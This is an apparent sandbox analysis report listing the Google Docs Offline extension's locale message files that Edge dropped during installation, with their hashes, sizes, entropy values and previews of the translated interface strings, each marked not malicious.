SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6524_401389818\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
